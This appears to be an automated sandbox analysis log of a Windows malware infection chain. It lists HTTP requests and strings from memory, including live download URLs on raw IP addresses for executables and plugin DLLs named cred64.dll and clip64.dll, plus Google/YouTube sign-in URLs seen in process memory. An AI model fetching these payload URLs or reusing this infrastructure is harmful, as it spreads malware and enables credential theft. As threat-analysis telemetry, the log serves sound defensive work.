gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/cred64.dll HTTP/1.1Host: 193.233.132.56
Source: global traffic	HTTP traffic detected: GET /mine/amert.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/clip64.dll HTTP/1.1Host: 193.233.132.56
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /enigma/Plugins/cred64.dll HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /cost/sarra.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /enigma/Plugins/clip64.dll HTTP/1.1Host: 193.233.132.167

Source: bad48ea9ac.exe, 0000001F.00000002.2819404632.0000000003F66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: bad48ea9ac.exe, 0000000F.00000003.2686052943.0000000003E1A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2684405158.0000000003E1A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000002.2690945819.0000000003E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/accountt equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en/t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000002.2754944956.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Dl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARZ0qKKdZMcv_BTjN9lyrdTFx5G5WmlfwerRYTc2v8HQ8jQwqjXuzU5RtX1i-oHITuYm0EKocR0a equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000002.2754944956.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Dl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARZ0qKKdZMcv_BTjN9lyrdTFx5G5WmlfwerRYTc2v8HQ8jQwqjXuzU5RtX1i-oHITuYm0EKocR0a/t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=ARZ0qKIzNO5PzowjRVz7tH8FQmowcRfBFxEjXfeNJy7Tjy2K9F5fh7UdsRSL3K1PUc2urKuJAjjblg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1107944685%3A1713476414694434&theme=mn&ddm=0 equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=ARZ0qKIzNO5PzowjRVz7tH8FQmowcRfBFxEjXfeNJy7Tjy2K9F5fh7UdsRSL3K1PUc2urKuJAjjblg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1107944685%3A1713476414694434&theme=mn&ddm=03K1P equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: andle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARZ0qKKdZMcv_BTjN9lyrdTFx5G5WmlfwerRYTc2v8HQ8jQwqjXuzU5RtX1i-oHITuYm0EKocR0a equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: andle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARZ0qKKdZMcv_BTjN9lyrdTFx5G5WmlfwerRYTc2v8HQ8jQwqjXuzU5RtX1i-oHITuYm0EKocR0a/t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736090704.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2737331559.0000000007D99000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736090704.0000000007D99000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738559574.0000000007D9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: esktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2737331559.0000000007D99000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736090704.0000000007D99000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738559574.0000000007D9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: esktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en/t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2738990555.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736983747.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2754944956.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_h equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2738559574.0000000007D9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARZ0qKKdZMcv_BTjN9lyrdTFx5G5WmlfwerRYTc2v8HQ8jQwqjXuzU5RtX1i-oHITuYm0EKocR0a equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2738559574.0000000007D9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARZ0qKKdZMcv_BTjN9lyrdTFx5G5WmlfwerRYTc2v8HQ8jQwqjXuzU5RtX1i-oHITuYm0EKocR0a/t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARZ0qKKdZMcv_BTjN9lyrdTFx5G5WmlfwerRYTc2v8HQ8jQwqjXuzU5RtX1i-oHITuYm0EKocR0aYouTube equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARZ0qKKdZMcv_BTjN9lyrdTFx5G5WmlfwerRYTc2v8HQ8jQwqjXuzU5RtX1i-oHITuYm0EKocR0aYouTube/t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARZ0qKKdZMcv_BTjN9lyrdTFx5G5WmlfwerRYTc2v8HQ8jQwqjXuzU5RtX1i-oHITuYm0EKocR0asive equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000002.2754944956.0000000007CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARZ0qKKdZMcv_BTjN9lyrdTFx5G5WmlfwerRYTc2v8HQ8jQwqjXuzU5RtX1i-oHITuYm0EKocR0ayouty1 equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2738400789.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en"D equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en/t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=enYouTube equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=enYouTube/t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=ensE~ equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2738990555.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736983747.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2754944956.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsig equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2738559574.0000000007D9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=ARZ0qKIzNO5PzowjRVz7tH8FQmowcRfBFxEjXfeNJy7Tjy2K9F5fh7UdsRSL3K1PUc2urKuJAjjblg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1107944685%3A1713476414694434&theme=mn&ddm= equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2738559574.0000000007D9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=ARZ0qKIzNO5PzowjRVz7tH8FQmowcRfBFxEjXfeNJy7Tjy2K9F5fh7UdsRSL3K1PUc2urKuJAjjblg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1107944685%3A1713476414694434&theme=mn&ddm=0 equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=ARZ0qKIzNO5PzowjRVz7tH8FQmowcRfBFxEjXfeNJy7Tjy2K9F5fh7UdsRSL3K1PUc2urKuJAjjblg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1107944685%3A1713476414694434&theme=mn&ddm=0/t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=ARZ0qKIzNO5PzowjRVz7tH8FQmowcRfBFxEjXfeNJy7Tjy2K9F5fh7UdsRSL3K1PUc2urKuJAjjblg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1107944685%3A1713476414694434&theme=mn&ddm=0YouTube equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2738559574.0000000007D9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=ARZ0qKIzNO5PzowjRVz7tH8FQmowcRfBFxEjXfeNJy7Tjy2K9F5fh7UdsRSL3K1PUc2urKuJAjjblg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1107944685%3A1713476414694434&theme=mn&ddm=0zy1 equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2736090704.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.com/fwlink/?linkid=851546-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016pk2016&ui=en-us&rs=en-us&ad=uspk2016&ui=en-us&rs=en-us&ad=usapp%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=enZ0qKKdZMcv_BTjN9lyrdTFx5G5WmlfwerRYTc2v8HQ8jQwqjXuzU5RtX1i-oHITuYm0EKocR0aoutube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1107944685%3A1713476414694434&theme=mn&ddm=0 equals www.youtube.com (Youtube)
Source: 590971cd60.exe, 00000014.00000003.2582617431.0000000007F5E000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2734561741.0000000007CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: bad48ea9ac.exe, 0000000F.00000003.2686052943.0000000003E1A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2684405158.0000000003E1A000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000000F.00000003.2687568679.0000000003DA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2738990555.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736983747.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2754944956.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account/t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountYouTube equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountYouTube/t equals www.youtube.com (Youtube)
Source: bad48ea9ac.exe, 0000001F.00000003.2813883212.0000000003BDE000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2810834359.0000000003BD6000.00000004.00000020.00020000.00000000.sdmp, bad48ea9ac.exe, 0000001F.00000003.2808553560.0000000003BD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountn equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=ARZ0qKIzNO5PzowjRVz7tH8FQmowcRfBFxEjXfeNJy7Tjy2K9F5fh7UdsRSL3K1PUc2urKuJAjjblg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1107944685%3A1713476414694434&theme=mn&ddm=0 equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=ARZ0qKIzNO5PzowjRVz7tH8FQmowcRfBFxEjXfeNJy7Tjy2K9F5fh7UdsRSL3K1PUc2urKuJAjjblg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1107944685%3A1713476414694434&theme=mn&ddm=0/t equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2737384071.0000000007CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 00000026.00000003.2737384071.0000000007CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en/t equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: www.youtube.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 931sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"Content-Type: text/plain;charset=UTF-8sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"X-Goog-AuthUser: 0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*Origin: https://accounts.google.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/hera/amadka.exe
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/8r
Source: explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/A2E7B-21CB-41b2-A086-B309680C6B7E
Source: chrosha.exe, 00000010.00000002.2907399446.000000000102E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/SOR_LEVEL=6PROCESSOR_RE
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/go.exe
Source: MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/go.exe0.1
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/lenin.exe
Source: MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/lenin.exe192.168.0Yx8
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/lenin.exexr
Source: explorha.exe, 00000006.00000003.2451665041.000000000073E000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/random.exe
Source: explorha.exe, 00000006.00000003.2451665041.000000000073E000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/random.exel
Source: explorha.exe, 00000006.00000002.2899294419.00000000006B6000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000002.2899294419.000000000075D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/sarra.exe
Source: explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/sarra.exe8
Source: explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/sarra.exeP
Source: explorha.exe, 00000006.00000002.2899294419.00000000006B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/sarra.exeata
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/en-US
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/Plugins/clip64.dll
Source: chrosha.exe, 00000010.00000002.2907399446.000000000102E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/Plugins/cred64.dll
